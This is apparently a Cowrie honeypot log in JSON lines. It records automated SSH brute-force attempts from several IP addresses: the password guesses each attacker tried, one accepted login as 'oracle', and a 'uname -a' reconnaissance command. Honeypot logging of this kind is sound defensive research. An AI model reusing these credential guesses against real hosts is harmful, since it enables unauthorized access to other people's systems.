{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48316,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d2d5f0538b","protocol":"ssh","message":"New connection: 2.57.122.208:48316 (10.17.0.5:22) [session: 38d2d5f0538b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:04:36.036875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:04:36.125515Z","src_ip":"2.57.122.208","session":"38d2d5f0538b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:04:36.333124Z","src_ip":"2.57.122.208","session":"38d2d5f0538b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:04:37.324473Z","src_ip":"2.57.122.208","session":"38d2d5f0538b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:04:38.689671Z","src_ip":"2.57.122.208","session":"38d2d5f0538b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.11890196800232,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:06.268426Z","src_ip":"129.232.238.42","session":"80b84f3596e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36406,"dst_ip":"10.17.0.5","dst_port":22,"session":"7059f1a1c5b6","protocol":"ssh","message":"New connection: 103.15.226.202:36406 (10.17.0.5:22) [session: 7059f1a1c5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:07.130948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:07.135984Z","src_ip":"103.15.226.202","session":"7059f1a1c5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:07.385387Z","src_ip":"103.15.226.202","session":"7059f1a1c5b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qaz@WSX3edc$RFV","message":"login attempt [oracle/1qaz@WSX3edc$RFV] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:08.129949Z","src_ip":"103.15.226.202","session":"7059f1a1c5b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:08.680529Z","src_ip":"103.15.226.202","session":"7059f1a1c5b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:08.684647Z","src_ip":"103.15.226.202","session":"7059f1a1c5b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:08.936518Z","src_ip":"103.15.226.202","session":"7059f1a1c5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:05:08.942434Z","src_ip":"103.15.226.202","session":"7059f1a1c5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39682,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee0f08b6dd32","protocol":"ssh","message":"New connection: 2.57.122.208:39682 (10.17.0.5:22) [session: ee0f08b6dd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:07:17.539453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:07:17.628348Z","src_ip":"2.57.122.208","session":"ee0f08b6dd32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:07:17.737243Z","src_ip":"2.57.122.208","session":"ee0f08b6dd32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:07:18.626802Z","src_ip":"2.57.122.208","session":"ee0f08b6dd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:07:19.829839Z","src_ip":"2.57.122.208","session":"ee0f08b6dd32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57320,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d6e242a6655","protocol":"ssh","message":"New connection: 103.15.226.202:57320 (10.17.0.5:22) [session: 6d6e242a6655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:40.601234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:40.610327Z","src_ip":"103.15.226.202","session":"6d6e242a6655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:40.861878Z","src_ip":"103.15.226.202","session":"6d6e242a6655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QDwkidc!@#456","message":"login attempt [root/QDwkidc!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:41.599471Z","src_ip":"103.15.226.202","session":"6d6e242a6655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45178,"dst_ip":"10.17.0.5","dst_port":22,"session":"23148ac4cd12","protocol":"ssh","message":"New connection: 213.209.159.158:45178 (10.17.0.5:22) [session: 23148ac4cd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:42.199583Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:42.847538Z","src_ip":"103.15.226.202","session":"6d6e242a6655","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:44.798997Z","src_ip":"213.209.159.158","session":"23148ac4cd12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:44.803049Z","src_ip":"213.209.159.158","session":"23148ac4cd12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smiley","message":"login attempt [root/smiley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:54.494131Z","src_ip":"213.209.159.158","session":"23148ac4cd12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:57.815258Z","src_ip":"213.209.159.158","session":"23148ac4cd12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":25828,"dst_ip":"10.17.0.5","dst_port":22,"session":"381e1084ac54","protocol":"ssh","message":"New connection: 213.209.159.158:25828 (10.17.0.5:22) [session: 381e1084ac54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:08:57.912212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:00.599168Z","src_ip":"213.209.159.158","session":"381e1084ac54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:00.603830Z","src_ip":"213.209.159.158","session":"381e1084ac54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sihua","message":"login attempt [root/sihua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:10.348988Z","src_ip":"213.209.159.158","session":"381e1084ac54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:14.037915Z","src_ip":"213.209.159.158","session":"381e1084ac54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45226,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c1da0e353d","protocol":"ssh","message":"New connection: 213.209.159.158:45226 (10.17.0.5:22) [session: 78c1da0e353d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:14.118554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:16.421960Z","src_ip":"213.209.159.158","session":"78c1da0e353d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:16.427957Z","src_ip":"213.209.159.158","session":"78c1da0e353d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shaggy1","message":"login attempt [root/shaggy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:26.588020Z","src_ip":"213.209.159.158","session":"78c1da0e353d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:29.955948Z","src_ip":"213.209.159.158","session":"78c1da0e353d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":23946,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebcec6cb1a6e","protocol":"ssh","message":"New connection: 213.209.159.158:23946 (10.17.0.5:22) [session: ebcec6cb1a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:30.035336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:32.305154Z","src_ip":"213.209.159.158","session":"ebcec6cb1a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:32.312559Z","src_ip":"213.209.159.158","session":"ebcec6cb1a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sex","message":"login attempt [root/sex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:42.536512Z","src_ip":"213.209.159.158","session":"ebcec6cb1a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:45.857694Z","src_ip":"213.209.159.158","session":"ebcec6cb1a6e","protocol":"ssh"}
